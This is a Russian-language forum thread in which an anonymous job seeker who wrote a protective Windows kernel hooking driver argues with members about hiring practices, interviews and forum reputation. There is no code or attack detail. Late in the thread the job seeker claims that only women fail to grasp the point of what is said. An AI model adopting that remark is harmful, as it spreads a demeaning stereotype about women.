А>Я ни от кого не прячусь. И не могу себе даже представить, зачем я могу понадобится службе безопасности

LOL

Шоу продолжается

Здравствуйте, Unhandled_Exception, Вы писали:

U_E>Здравствуйте, Lonely Dog, Вы писали:

U_E>>>потому что этот парень сделает миллионы

и даст немного своему работодателю

если тот будет хорошо себя вести, конечно же

так что, в очередь, в очередь!

LD>>Э, чуваааааааак.
LD>>Это не честно.

LD>>Какая нафиг очередь.

LD>>Я тоже хочу пару лямов.

U_E>Брат, я ему первый написал

Так что первая пара лямов мои

И, вообще, скажи, чтобы за тобой не занимали

Блин, а весело всё-таки здесь бывает, на rsdn, когда не хамят и не выясняют отношения... Это — от души

и даст немного своему работодателю

если тот будет хорошо себя вести, конечно же

так что, в очередь, в очередь!

LD>>Э, чуваааааааак.
LD>>Это не честно.

LD>>Какая нафиг очередь.

LD>>Я тоже хочу пару лямов.

U_E>Брат, я ему первый написал

Так что первая пара лямов мои

И, вообще, скажи, чтобы за тобой не занимали

OK, брат. Свои люди. Сочтемся.

Здравствуйте, Unhandled_Exception, Вы писали:

U_E>Здравствуйте, Аноним, Вы писали:

А>>Хучил всё подряд: и файловую систему, и реестр, и процессы...
А>>Извините, но работет очень слажено. На всех версиях Windows от NT до 2003. Поддержку Vista пока ещё не добавлял — нет необходимости.
А>>Да, я до сих пор остаюсь при своём — хуки rulezzz. Не надо мне говорить о недостатках этого метода, я о них знаю. И вы тоже должны понимать, что других способов для NT..2003 не существует. Только в Vista я слышал есть специальные API ядра для антивирусов, сокетов и пр.

U_E>Рулез-то, конечно, рулез, а антивирусы случаем на Ваш мегарулез тотал хукинг не воют?

Не знаю, у меня NOD32 2.51.20 стоит — молчит, зараза

Обычно не антивирусы должны орать, а всякие специализированные утилиты, предназначенные для поиска руткитов...
Хотя... может быть каспер будет орать, вообще надо бы проверить... Но думаю, что будут молчать.

Здравствуйте, Аноним, Вы писали:

А>Хучил всё подряд: и файловую систему, и реестр, и процессы...
А>Извините, но работет очень слажено. На всех версиях Windows от NT до 2003. Поддержку Vista пока ещё не добавлял — нет необходимости.
А>Да, я до сих пор остаюсь при своём — хуки rulezzz. Не надо мне говорить о недостатках этого метода, я о них знаю. И вы тоже должны понимать, что других способов для NT..2003 не существует. Только в Vista я слышал есть специальные API ядра для антивирусов, сокетов и пр.
Мы знаем. Мне просто интересно, как проходило тестирование вашего драйвера на SMP системах.
PS: Я уже однажды обжегся на хуках. Все прекрасно работало на обычной машине, а HT-enabled падало в синий экран.

А>Простоту и понятность своего кода мне улучшать не надо — эти вещи у меня на высоте.
А>Что касается грамотности — когда код критический, я занимаюсь оптимизацией. Когда нет — пишу стандартными способами, без наворотов.
А>Мне есть что улучшать только если необходимо что-то улучшать в каком-нибудь критическом алгоритме, например.
OK. Дело ваше. Кстати, а как вы определяете, что данный алгоритм критичен?

Здравствуйте, Lonely Dog, Вы писали:

LD>OK. Дело ваше. Кстати, а как вы определяете, что данный алгоритм критичен?

Хм... а вы?

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, Lonely Dog, Вы писали:

LD>>OK. Дело ваше. Кстати, а как вы определяете, что данный алгоритм критичен?
А>Хм... а вы?
Я первый спросил.

Если серьезно, использую профайлер или логи. (В последнее время, на моих задачах если уже тормозит, то счет идет на минуты, т.ч. логов хватает.)

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, Unhandled_Exception, Вы писали:

U_E>>В 21 и без опыта нормальной работы. Еще и со склочным характером. Мда, соискатель нынче не тот пошел, ох не тот.

А>А какой у человека в 21 год может быть коммерческий опыт?

Большой. Сейчас нормально, если человек во время учебы где-то подрабатывает. В 21 год я уже имел высшее образование, опыт работы в нескольких конторах плюс опыт удаленной работы. Многие из моих товарищей к выпуску уже успели поработать. Я еще не получил на руки диплом, а уже успешно прошел собеседование для работы на фултайм. И я был в тот момент Вашим ровесником.

А>Это он должен наверно тогда в 18 начать кодить уже на какую-нибудь фирму, где вы такое видели?

Если я правильно помню, я начал кодить на фирму в 17, т.е. на втором курсе... я многих знаю, кто в это время начал получать реальный опыт. Это нормально.

Здравствуйте, Аноним, Вы писали:

А>Не знаю, у меня NOD32 2.51.20 стоит — молчит, зараза

А>Обычно не антивирусы должны орать, а всякие специализированные утилиты, предназначенные для поиска руткитов...
А>Хотя... может быть каспер будет орать, вообще надо бы проверить... Но думаю, что будут молчать.

"может быть". значит не тестил? а аутпост что говорит?... ну список можно продолжить.

Здравствуйте, Lonely Dog, Вы писали:

LD>Здравствуйте, Аноним, Вы писали:

А>>Здравствуйте, Lonely Dog, Вы писали:

LD>>>OK. Дело ваше. Кстати, а как вы определяете, что данный алгоритм критичен?
А>>Хм... а вы?
LD>Я первый спросил.

LD>Если серьезно, использую профайлер или логи. (В последнее время, на моих задачах если уже тормозит, то счет идет на минуты, т.ч. логов хватает.)

А я — никак. Я просто смотрю на алгоритм и просчитываю, какие данные через него могут проходить. Если большие, значит будет долго (на вскидку). Тогда смотрю, есть ли варианты решения более оптимальные. Если есть — оптимизирую. Если нет, значит хреновая архитектура и меняю её, если возможно. Вот и всё. Никакими замерами/логами мне заниматься как правильно не приходиться. Мои алгоритмы на моём ведре пашут нормально.

Здравствуйте, Unhandled_Exception, Вы писали:

U_E>Большой. Сейчас нормально, если человек во время учебы где-то подрабатывает. В 21 год я уже имел высшее образование, опыт работы в нескольких конторах плюс опыт удаленной работы. Многие из моих товарищей к выпуску уже успели поработать. Я еще не получил на руки диплом, а уже успешно прошел собеседование для работы на фултайм. И я был в тот момент Вашим ровесником.
Гм, в 21 год я окончил пятый курс, женился, а через некоторое время после достижения 22 лет защитил диплом. К этому времени я работал 4 года.

А>>Это он должен наверно тогда в 18 начать кодить уже на какую-нибудь фирму, где вы такое видели?

U_E>Если я правильно помню, я начал кодить на фирму в 17, т.е. на втором курсе... я многих знаю, кто в это время начал получать реальный опыт. Это нормально.
Ну про 17 лет ты вроде загнул. Хотя всякое может быть. Меня вот на собеседовании спрашивали, сколько мне лет. Узнав, что 18, успокоились и сказали, что если бы было меньше, меня бы не взяли.
Кстати, больше половины моей группы стало работать на третьем-четвертом курсе. Были люди, которые стали работать в конце первого.

Здравствуйте, Unhandled_Exception, Вы писали:

U_E>Здравствуйте, Аноним, Вы писали:

А>>Не знаю, у меня NOD32 2.51.20 стоит — молчит, зараза

А>>Обычно не антивирусы должны орать, а всякие специализированные утилиты, предназначенные для поиска руткитов...
А>>Хотя... может быть каспер будет орать, вообще надо бы проверить... Но думаю, что будут молчать.

U_E>"может быть". значит не тестил? а аутпост что говорит?... ну список можно продолжить.

Да, блин, это же некоммерческая разработка, что вы хотите. Естественно, если бы это было столь важно, я бы исправил эти дела. Но вы тоже никак не хотите понять, что других способов не существует. И то, что AV будут орать — это проблемы юзера (не зря ведь антивирусы при установке требуют удалить все другие аналогичные продукты). Так что не надо тут.

Здравствуйте, Unhandled_Exception, Вы писали:

U_E>Здравствуйте, Аноним, Вы писали:

А>>Здравствуйте, Unhandled_Exception, Вы писали:

U_E>>>В 21 и без опыта нормальной работы. Еще и со склочным характером. Мда, соискатель нынче не тот пошел, ох не тот.

А>>А какой у человека в 21 год может быть коммерческий опыт?

U_E>Большой. Сейчас нормально, если человек во время учебы где-то подрабатывает. В 21 год я уже имел высшее образование, опыт работы в нескольких конторах плюс опыт удаленной работы. Многие из моих товарищей к выпуску уже успели поработать. Я еще не получил на руки диплом, а уже успешно прошел собеседование для работы на фултайм. И я был в тот момент Вашим ровесником.

А>>Это он должен наверно тогда в 18 начать кодить уже на какую-нибудь фирму, где вы такое видели?

U_E>Если я правильно помню, я начал кодить на фирму в 17, т.е. на втором курсе... я многих знаю, кто в это время начал получать реальный опыт. Это нормально.

Билли тоже начал кодить в 15...

Здравствуйте, Lonely Dog, Вы писали:

LD>Здравствуйте, Unhandled_Exception, Вы писали:

U_E>>Большой. Сейчас нормально, если человек во время учебы где-то подрабатывает. В 21 год я уже имел высшее образование, опыт работы в нескольких конторах плюс опыт удаленной работы. Многие из моих товарищей к выпуску уже успели поработать. Я еще не получил на руки диплом, а уже успешно прошел собеседование для работы на фултайм. И я был в тот момент Вашим ровесником.
LD>Гм, в 21 год я окончил пятый курс, женился, а через некоторое время после достижения 22 лет защитил диплом. К этому времени я работал 4 года.

Вообще у каждого своя судьба, по разному жизнь складывается... Я вот только сейчас по сути и хочу и могу работать программистом...

А>>>Это он должен наверно тогда в 18 начать кодить уже на какую-нибудь фирму, где вы такое видели?

U_E>>Если я правильно помню, я начал кодить на фирму в 17, т.е. на втором курсе... я многих знаю, кто в это время начал получать реальный опыт. Это нормально.
LD>Ну про 17 лет ты вроде загнул. Хотя всякое может быть. Меня вот на собеседовании спрашивали, сколько мне лет. Узнав, что 18, успокоились и сказали, что если бы было меньше, меня бы не взяли.
LD>Кстати, больше половины моей группы стало работать на третьем-четвертом курсе. Были люди, которые стали работать в конце первого.

Ну так и я сейчас на 3ем курсе. И тоже хочу работать.

Здравствуйте, Аноним, Вы писали:

А>А я — никак. Я просто смотрю на алгоритм и просчитываю, какие данные через него могут проходить. Если большие, значит будет долго (на вскидку). Тогда смотрю, есть ли варианты решения более оптимальные. Если есть — оптимизирую. Если нет, значит хреновая архитектура и меняю её, если возможно. Вот и всё. Никакими замерами/логами мне заниматься как правильно не приходиться. Мои алгоритмы на моём ведре пашут нормально.
Больше вопросов не имею.

Здравствуйте, Аноним, Вы писали:

А>Да, блин, это же некоммерческая разработка, что вы хотите. Естественно, если бы это было столь важно, я бы исправил эти дела.
Но вы тоже никак не хотите понять, что других способов не существует.
И то, что AV будут орать — это проблемы юзера (не зря ведь антивирусы при установке требуют удалить все другие аналогичные продукты).

Вот теперь я действительно вижу, что это некомерческая разработка. Потому-что, в реальной жизни у пользователя проблем нет. Они есть только у вас...

Здравствуйте, Аноним, Вы писали:

U_E>>Если я правильно помню, я начал кодить на фирму в 17, т.е. на втором курсе... я многих знаю, кто в это время начал получать реальный опыт. Это нормально.

А>Билли тоже начал кодить в 15...

и за эти два года он заработал все то, что предназначалось мне

блин... АПАЗДАЛ!

Здравствуйте, Lonely Dog, Вы писали:

LD>Здравствуйте, Аноним, Вы писали:

А>>А я — никак. Я просто смотрю на алгоритм и просчитываю, какие данные через него могут проходить. Если большие, значит будет долго (на вскидку). Тогда смотрю, есть ли варианты решения более оптимальные. Если есть — оптимизирую. Если нет, значит хреновая архитектура и меняю её, если возможно. Вот и всё. Никакими замерами/логами мне заниматься как правильно не приходиться. Мои алгоритмы на моём ведре пашут нормально.
LD>Больше вопросов не имею.

Как это? Спроси у него, лимоны в ведрах будут выдавать или безналичкой?

А>блин, да что такое!..
Вот и подумайте, что Вы такого написали, что так много умных и вежливых обычно людей, нашли так много чего Вам сказать. Сравните с реакцией на другие посты о поиске работы.

А в банках служба безопасности обязательно проверяет всех, перед тем как принимать на работу или выдавать кредит. И проверяет по куче параметров, которые Вам и не снились. Очень желательно, чтобы будущий работник не сделал чего лишнего...

Уважаемый Аноним!
Никоим образом не пытаясь оскорбить или ещё как-то унизить вашу личность и намерения (не сочтите за хамство, пожалуйста), хочу вставить свои пять копеек.

Был свидетелем рождения этой ветки и читаю её постоянно по мере появления новых сообщений. Прямо оторваться не могу, уже похоже на зависимость

Хочу пожелать настойчивости и упорства в отстаивании своих мнений. Даже если эта ветка не поможет вам — она поможет другим. Возможно, прочитав эту нитку, люди начнут относится к своему общению по другому, начнут подбирать аргументы в споре, а не "я первое там слышало — ты не так сказало". Хотя как говорила моя учительница по английскому — придирки к словам у русских в крови... ща и ко мне придерутся..

В общем, peace forever.
С нетерпением жду новых сообщений.

Здравствуйте, Ovl, Вы писали:

Ovl>Уважаемый Аноним!
Ovl>Никоим образом не пытаясь оскорбить или ещё как-то унизить вашу личность и намерения (не сочтите за хамство, пожалуйста), хочу вставить свои пять копеек.

Давайте, давайте. Всё равно эта ветка уже перешла из деловой в развлекательную (без иронии)!

Ovl>Был свидетелем рождения этой ветки и читаю её постоянно по мере появления новых сообщений. Прямо оторваться не могу, уже похоже на зависимость

Шок-тоу "антисоискатель"

Ovl>Хочу пожелать настойчивости и упорства в отстаивании своих мнений. Даже если эта ветка не поможет вам — она поможет другим. Возможно, прочитав эту нитку, люди начнут относится к своему общению по другому, начнут подбирать аргументы в споре, а не "я первое там слышало — ты не так сказало". Хотя как говорила моя учительница по английскому — придирки к словам у русских в крови... ща и ко мне придерутся..

Спасибо. Вот вам, критики, пример нормального сообщения. Без нападок и фраз типа "хреновое у тебя мыло". Учитесь. Хоть он и не работодатель для меня, но хоть по делу.

Ovl>С нетерпением жду новых сообщений.

Хм, ну если эту ветку не прикроют, они будут.
До встречи в следующем выпуске шок-тоу "антисоискатель"

Кстати, специально для постоянных зрителей этого шоу я решил-таки зарегистрироваться и сделать всё как положено. Это будет второй виток шоу — "антисоискатель-2"

. Ну, возьму за шаблон какую-нибудь тему, где какой-нибудь человек ищет работу, подставлю свои данные и посмотрим, что получиться. Мне правда уже заранее кажется, что разницы не будет. Но... посмотрим.

Это тему я не оставлю, потому что в ней весь я, было бы предательством

совсем её забросить...
Но тем не менее основное внимание моё будет посвящено новой теме.

Так что не пропускайте ни одного выпуска!

Здравствуйте, notacat, Вы писали:

А>>блин, да что такое!..
N>Вот и подумайте, что Вы такого написали, что так много умных и вежливых обычно людей, нашли так много чего Вам сказать. Сравните с реакцией на другие посты о поиске работы.

Да ладно, дело не во мне.

N>А в банках служба безопасности обязательно проверяет всех, перед тем как принимать на работу или выдавать кредит. И проверяет по куче параметров, которые Вам и не снились. Очень желательно, чтобы будущий работник не сделал чего лишнего...

Какие сложности... ужос!

Здравствуйте, Аноним, Вы писали:

А>Кстати, специально для постоянных зрителей этого шоу я решил-таки зарегистрироваться и сделать всё как положено. Это будет второй виток шоу — "антисоискатель-2"

. Ну, возьму за шаблон какую-нибудь тему, где какой-нибудь человек ищет работу, подставлю свои данные и посмотрим, что получиться. Мне правда уже заранее кажется, что разницы не будет. Но... посмотрим.

А>Это тему я не оставлю, потому что в ней весь я, было бы предательством

совсем её забросить...
А>Но тем не менее основное внимание моё будет посвящено новой теме.

А>Так что не пропускайте ни одного выпуска!
Я уверен, что вы сделали правильный выбора, решив зарегестрироваться. Хочу пожелать, чтобы в новой ветке вы не ссылались на эту. Тогда есть очень большой шанс, что вами заинтересуются работодатели.

Здравствуйте, Аноним, Вы писали:

А>up! 9

А>И ещё хотелось бы заметить, что пишут мне какие-то сомнительные люди.

Честно говоря, у меня такое чувство что это подкол. Особенно приводя историю Работодателям

используя такой оригинальный ник в аське

Здравствуйте, Lonely Dog, Вы писали:

LD>Здравствуйте, Unhandled_Exception, Вы писали:

U_E>>Брат, я ему первый написал

Так что первая пара лямов мои

И, вообще, скажи, чтобы за тобой не занимали

LD>OK, брат. Свои люди. Сочтемся.

Меня не забудьте!

Здравствуйте, Lonely Dog, Вы писали:

А>Однако, вы наверно слышали о существовании "непримиримого" анонима

Так вот это я. Регистрироваться не буду принципиально.

LD>Я ведь уже объяснил вам, что почти все, кто есть на этом форуме, являются работодателями. Если вы думаете, что сюда придет Билл Гейтс или еще кто-нибудь из таких людей, то ошибаетесь.

Lonely Dog, на самом деле лично я был бы рад увидеть кого-то с ником "Непримиримый" в нашем форуме, о чем неоднократно заявлял, впрочем как и многие другие уважаемые коллеги — лишь бы поведение соответствовало установленным на этом ресурсе нормам и выхлоп был мало-мальски полезный. Проявлять же индивидуальность никто не запрещает, это даже приветствуется

Вот эта ветка в отличие от робо-веток производимых КА — ЖИВАЯ, что несомненно доставляет больше удовольствия читающим на мой взгляд

Да и пишушим тоже, чего уж там

А>>Я не пытаюсь сделать себе никакое имя, имя себе делают всякого рода поп-звёзды.
LD>Посмотрите на это сообщение: Ишу работу: системный программист [Москва, от1700$]
LD>Там человек, имеющий определенный вес в форуме "Низкоуровневое программирование" ишет работу. Посмотрите, сколько человек сказало добрые слова в его адрес. Причем хочу сказать, что этот человек не поп-звезда, что бы вы не вкладывали в это понятие.

Кстати, раз вспомнилось — кому-то возможно будет интересно узнать, чем закончилась та ветка. Игра на контрастах часто лучше воспринимается.

Человек из нашего тесного и дружного (с) windows kernel devs community
Автор: Valery A. Boronin
Дата: 14.07.06
уже скоро месяц как нашел работу о которой могут только мечтать не только простые смертные но даже матерые windows kernel разработчики. Говорю это без всякой иронии ибо не без моего участия это случилось, надо отметить Когда-то сам успешно работал с теми ребятами и знаю о чем говорю, да и есть с чем сравнивать.

Поэтому знакомым можно его с этим событием уже поздравлять, кто еще не успел

Все критерии по которым может происходить выбор места работы — высокооплачиваемость, перспективность, новые технологии и интереснейшие проекты на их базе, возможность учиться у старших товарищей и одни из самых серьезных в мировом масштабе заказчики, потенциальные командировки по шарику — все там в наличии Не в курсе лишь о географиическом удобстве нового места работы для Романа (по совпадению Злость тезка автора сего топика — какой пассаж! ) и наличии персональной японской массажистки. Шучу.

Надеюсь, Роман не будет против такой рекламы его нового работодателя и хочется верить что работодатель также не подведет и оправдает выданные ему авансы

Собственно, во всей этой истории порадовало и захотелось поделиться то, что рекомендации с RSDN сыграли свою роль — "идеальный" работодатель искавший действительно редкого специалиста заметил ветку Романа ознакомился с отзывами и результатами участия в профильном форуме [а если бы он был аноним? Мнение о кандидате наверняка было бы составить гораздо сложнее даже после трех собеседований — прим. ред.] навел справки, собрал объективные характеристики, естественно прособеседовал пару раз — и в результате получил, уверен, отличного сотрудника, а сотрудник отличного работодателя и условия.

Особо отмечу что знаю Романа лишь по этому сайту, правда не один месяц, а уже много лет — что позволяет характеризовать его даже без резюме, которого и не видел никогда кстати. Как и его самого вживую

Однако это не помешало нам установить добрые отношения и на сайте и за его пределами. Впрочем, как и с множеством других коллег и просто замечательных людей, соратников по ремеслу — мой и без того весьма обширный контакт-лист благодаря RSDN значительно вырос и теперь постоянно приносит пользу в виде обмена информацией, интересных предложений и просто хорошего настроения от общения.

В наш виртуальный век профессиональные контакты (иногда даже перерастающие в личные) значат гораздо больше чем большинство склонно считать. Поэтому не стоит наверное лишний раз напоминать, как важно простое живое и уважительное человеческое общение и отношение друг к другу, в т.ч. и виртуальное — даже если собеседник не имеет GUID'a в нике за душой. Как и то, что все сказанное — записывается и легко может сыграть против — чему данная ветка, увы, ярчайший пример. Мы ж не поп-звезды, скандалы в плюс не идут

Имя гораздо важнее — создается годами, похоронить же можно одним сообщением. Никакими проф. навыками не компенсируешь.

Герою рассказа не нужно было этого объяснять — с общением у него все в порядке, что легко проследить по истории форумов. Плюс он трудился много лет, делился знаниями, рос вместе с нами всеми (сообществом RSDN) и в меру сил способствовал этому росту (с небольшими заблокироваными перерывами

Из-за похоже свойственной всем Романам непримиримости?

правда она явно бывает разного характера) — и вот теперь он получает отдачу сторицей. Считаю это справедливым и хорошим примером для подражания.

Конечно, если кто-то заметит, что не обошлось без личного участия, фактически протекции — спорить не буду. Но тот факт что составляющие протекцию, равно как и прислушивающиеся к ней обитают на RSDN лишний раз доказывает силу и полезность ресурса для всех нас!

... << RSDN@Home 1.2.0 alpha rev. 653>>

Здравствуйте, Lonely Dog, Вы писали:

LD>Здравствуйте, Аноним, Вы писали:

А>>Кстати, специально для постоянных зрителей этого шоу я решил-таки зарегистрироваться и сделать всё как положено. Это будет второй виток шоу — "антисоискатель-2"

. Ну, возьму за шаблон какую-нибудь тему, где какой-нибудь человек ищет работу, подставлю свои данные и посмотрим, что получиться. Мне правда уже заранее кажется, что разницы не будет. Но... посмотрим.

А>>Это тему я не оставлю, потому что в ней весь я, было бы предательством

совсем её забросить...
А>>Но тем не менее основное внимание моё будет посвящено новой теме.

А>>Так что не пропускайте ни одного выпуска!
LD>Я уверен, что вы сделали правильный выбора, решив зарегестрироваться. Хочу пожелать, чтобы в новой ветке вы не ссылались на эту. Тогда есть очень большой шанс, что вами заинтересуются работодатели.

вообще-то люди меняются.
мне например, интересно было бы посмотреть как человек вел себя раньше и сейчас, чтобы сравнить

C>Честно говоря, у меня такое чувство что это подкол. Особенно приводя историю Работодателям

используя такой оригинальный ник в аське

я такое в первый же день сказал — огрёб минусов и высказывание, что я злой

А>И ещё: код у меня очень простой, понятный и грамотный, — это отличительные черты моего стиля.

Вах! Маладой еще, горячий...

>>Я не в восторге, что из этой темы сделали балаган. Я уже подумываю завести новую...

ААА!! только не это! НЕ НАДО!

... << RSDN@Home 1.1.4 stable SR1 rev. 568>>

Здравствуйте, Ovl, Вы писали:

Ovl>вообще-то люди меняются.

К великому счастью, я не меняюсь. Я человек консервативный, перманентный и т.д. и т.п.

Ovl>мне например, интересно было бы посмотреть как человек вел себя раньше и сейчас, чтобы сравнить

Хм... Если вы обо мне, то разницы не увидите

Я буду вести себя как обычно. А обычно я себя веду достаточно корректно, просто трудно быть корректным среди некорректных

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, Ovl, Вы писали:

Ovl>>мне например, интересно было бы посмотреть как человек вел себя раньше и сейчас, чтобы сравнить

А>Хм... Если вы обо мне, то разницы не увидите

не о вас

Здравствуйте, Lonely Dog, Вы писали:

LD>Я уверен, что вы сделали правильный выбора, решив зарегестрироваться. Хочу пожелать, чтобы в новой ветке вы не ссылались на эту. Тогда есть очень большой шанс, что вами заинтересуются работодатели.

О! Решил зарегистрироваться я исключительно в рамках шок-тоу "антисоискатель-2", специально для постоянных зрителей. Я абсолютно не верю, что с такими работодателями-хамами, которые мне писали, у меня что-то получиться...

Специально ссылаться на эту ветку из новой я не буду, но в этой обязательно дам ссылку на новую, чтобы телезрители ничего не упустили.

Здравствуйте, mogadanez, Вы писали:

>>>Я не в восторге, что из этой темы сделали балаган. Я уже подумываю завести новую...

M>ААА!! только не это! НЕ НАДО!

Не-е-е-ет! НАДО, Федя...

Здравствуйте, Chipsеt, Вы писали:

C>Здравствуйте, Аноним, Вы писали:

А>>up! 9

А>>И ещё хотелось бы заметить, что пишут мне какие-то сомнительные люди.

C>Честно говоря, у меня такое чувство что это подкол. Особенно приводя историю Работодателям

используя такой оригинальный ник в аське

Если бы подкол!

Так нет же, действительно сомнительные люди пишут...

Здравствуйте, Valery A. Boronin, Вы писали:

Каков наглец, каков нахал, а...
Пропиарил какого-то своего кореша в моей ветке. Против кореша ничего не имею, но вы поступили мягко говоря нехорошо. Моя ветка не для этого.
Ну каков нахал... какой наглец...

Здравствуйте, <Аноним>, Вы писали:

А>... в коллективе я работать умею.

Откуда вы знаете что умееете — если не работали?

А>... другие требуют исходники мол им дайте (свои пишите, уважаемые!)

почему вы решили что он хочет ваш драйвер украсть? Вы не так много дали информации о нем чтобы его можно было "захотеть":

Драйвер нулевого кольца под Windows 2000/XP/Server 2003, защищающий объекты системы от разных нехороших программ

и человек решил во чтобы то ни стало его заиметь

А>... Все работодатели видят краткое резюме на соответствующих сайтах. Если они хотят полное, они звонят и просят его выслать. Далее они звонят кандидату и просят подъехать на собеседование. И на первом же (максимум на втором) собеседовании они уже чётко говорят сколько человек будет получать, как работать ну и подходит ли он вообще или нет.
Это я сказал как должно быть.

Откуда вы знаете как должно быть? у вас есть опыт?
Например у нас человек уходит со второго интерьвью еще не зная результата ни тем более зарплаты, мы либо посылаем ему Job Offer, либо Rejection Letter.

... << RSDN@Home 1.1.4 stable SR1 rev. 568>>

Здравствуйте, <Аноним>, Вы писали:

А>Здравствуйте, Valery A. Boronin, Вы писали:

А>Каков наглец, каков нахал, а...
А>Пропиарил какого-то своего кореша в моей ветке. Против кореша ничего не имею, но вы поступили мягко говоря нехорошо. Моя ветка не для этого.
А>Ну каков нахал... какой наглец...
Так и запишем: не умеет учиться на примере других.

... << RSDN@Home 1.2.0 alpha rev. 655>> MSSQL2000Personal
С уважением, Dziman

Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, Valery A. Boronin, Вы писали:

А>Каков наглец, каков нахал, а...
А>Пропиарил какого-то своего кореша в моей ветке. Против кореша ничего не имею, но вы поступили мягко говоря нехорошо. Моя ветка не для этого.
А>Ну каков нахал... какой наглец...
Молодой человек...

Люди, подобные Роме не нуждаются в пиаре.
В отличии от вас.

Здравствуйте, mogadanez, Вы писали:

M>Например у нас человек уходит со второго интерьвью еще не зная результата ни тем более зарплаты, мы либо посылаем ему Job Offer, либо Rejection Letter.

Плохо работает ваша система. Соискатель хочет результат (т.е. информацию о взяли/не взяли, размере зарплаты, условиях работы и т.д.) сразу. Вот и дайте ему результат. А не можете — ну так я и говорю: плохо, медленно работает ваш отдел кадров. К вам я не пойду, потому что а оно мне надо, уходить со второго собеседования ничего не зная, маразм...

Здравствуйте, Dziman, Вы писали:

D>Здравствуйте, <Аноним>, Вы писали:

А>>Здравствуйте, Valery A. Boronin, Вы писали:

А>>Каков наглец, каков нахал, а...
А>>Пропиарил какого-то своего кореша в моей ветке. Против кореша ничего не имею, но вы поступили мягко говоря нехорошо. Моя ветка не для этого.
А>>Ну каков нахал... какой наглец...
D>Так и запишем: не умеет учиться на примере других.

Ну надо же. Вы что, не слышите что я говорю?
Нет, ну надо же, до какого маразма надо дожить.

Когда я говорю, что человек сделал нехорошо (а он действительно сделал нехорошо) выясняется, что нехорошо сделал как раз тот, кто сказал тому, кто сделал нехорошо, что он сделал нехорошо (т.е. я). Надеюсь, эту фразу поймут

Вы понимаете, что так сказать может только женщина, ибо именно женщины как правило не улавливают суть сказанного... Ну а вы? Куда катимся?

Здравствуйте, Lonely Dog, Вы писали:

LD>Здравствуйте, Аноним, Вы писали:

А>>Здравствуйте, Valery A. Boronin, Вы писали:

А>>Каков наглец, каков нахал, а...
А>>Пропиарил какого-то своего кореша в моей ветке. Против кореша ничего не имею, но вы поступили мягко говоря нехорошо. Моя ветка не для этого.
А>>Ну каков нахал... какой наглец...
LD>Молодой человек...

LD>Люди, подобные Роме не нуждаются в пиаре.
LD>В отличии от вас.

Вы слышите меня? Мне не важно, нуждается он в пиаре или нет. Я не об этом говорю. Я говорю, что не надо рекламировать людей в ветке, для этого не предназначеной. Создайте форум для пиара и там это и пишите.

Здравствуйте, Аноним, Вы писали:

А>Плохо работает ваша система. Соискатель хочет результат (т.е. информацию о взяли/не взяли, размере зарплаты, условиях работы и т.д.) сразу. Вот и дайте ему результат. А не можете — ну так я и говорю: плохо, медленно работает ваш отдел кадров. К вам я не пойду, потому что а оно мне надо, уходить со второго собеседования ничего не зная, маразм...
Я фигею...
Вы хоть раз проводили собеседование?
Если нет, то как вы можете критиковать остальных.
Впрочем ладно, что это я грубить то начал

Представьте ситуацию, когда в компании есть две вакансии а кандидатов пришло 10 человек и первые двое подошли. По вашей логике я должен им сразу же сказать, что они приняты, а остальными даже не общаться. (вакансий всего две, больше не будет, следовательно, общение с остальными это трата моего и их времени.) В данной ситуации правильнее будет поговорить со всеми а потом принять решение, кто из них вам больше всего понравился. Так что не все так просто в этом мире.

Здравствуйте, Lonely Dog, Вы писали:

LD>Здравствуйте, Аноним, Вы писали:

LD>Представьте ситуацию, когда в компании есть две вакансии а кандидатов пришло 10 человек и первые двое подошли. По вашей логике я должен им сразу же сказать, что они приняты, а остальными даже не общаться. (вакансий всего две, больше не будет, следовательно, общение с остальными это трата моего и их времени.) В данной ситуации правильнее будет поговорить со всеми а потом принять решение, кто из них вам больше всего понравился. Так что не все так просто в этом мире.

Ну так, как вы описали — нормально. Но уходить со второго собеседования ничего не зная, это работодатель тупит...

Здравствуйте, <Аноним>, Вы писали:
А>Ну надо же. Вы что, не слышите что я говорю?
А>Нет, ну надо же, до какого маразма надо дожить.
А>Когда я говорю, что человек сделал нехорошо (а он действительно сделал нехорошо) выясняется, что нехорошо сделал как раз тот, кто сказал тому, кто сделал нехорошо, что он сделал нехорошо (т.е. я). Надеюсь, эту фразу поймут

А>Вы понимаете, что так сказать может только женщина, ибо именно женщины как правило не улавливают суть сказанного... Ну а вы? Куда катимся?
Тебе дали ценные советы(даже с линками, чтобы искать не надо было), а ты придрался к тому что он слегка грубо ответил(хотя использовались только сведения из твоего сообщения).

... << RSDN@Home 1.2.0 alpha rev. 655>> MSSQL2000Personal
С уважением, Dziman

Здравствуйте, <Аноним>, Вы писали:
А>Ну так, как вы описали — нормально. Но уходить со второго собеседования ничего не зная, это работодатель тупит...
Какая разница с какого? Может еще одно собеседование понадобится для более глубоко разбирательства с оставшимися кандидатами

... << RSDN@Home 1.2.0 alpha rev. 655>> MSSQL2000Personal
С уважением, Dziman

Здравствуйте, <Аноним>, Вы писали:
А>Вы слышите меня? Мне не важно, нуждается он в пиаре или нет. Я не об этом говорю. Я говорю, что не надо рекламировать людей в ветке, для этого не предназначеной. Создайте форум для пиара и там это и пишите.
Никто его в твоей ветке не рекламирует — тебе дают наглядный пример, когда неанонимность и репутация на форуме реально помогают

... << RSDN@Home 1.2.0 alpha rev. 655>> MSSQL2000Personal
С уважением, Dziman

Здравствуйте, Dziman, Вы писали:

D>Здравствуйте, <Аноним>, Вы писали:
А>>Ну надо же. Вы что, не слышите что я говорю?
А>>Нет, ну надо же, до какого маразма надо дожить.
А>>Когда я говорю, что человек сделал нехорошо (а он действительно сделал нехорошо) выясняется, что нехорошо сделал как раз тот, кто сказал тому, кто сделал нехорошо, что он сделал нехорошо (т.е. я). Надеюсь, эту фразу поймут

А>>Вы понимаете, что так сказать может только женщина, ибо именно женщины как правило не улавливают суть сказанного... Ну а вы? Куда катимся?
D>Тебе дали ценные советы(даже с линками, чтобы искать не надо было), а ты придрался к тому что он слегка грубо ответил(хотя использовались только сведения из твоего сообщения).

Так... Будем повторять пока некоторые не станут воспринимать главное из того, что я говорю. Я кстати, часто в жизни сталкиваюсь с тем, что я сказал какое-то предложение человеку, а тот задал вопрос, относящийся не к главной сути этого предложения. Вообще, это очень важно — понимать друг друга сразу. Я лично сразу улавливаю суть сказанного кем-то.

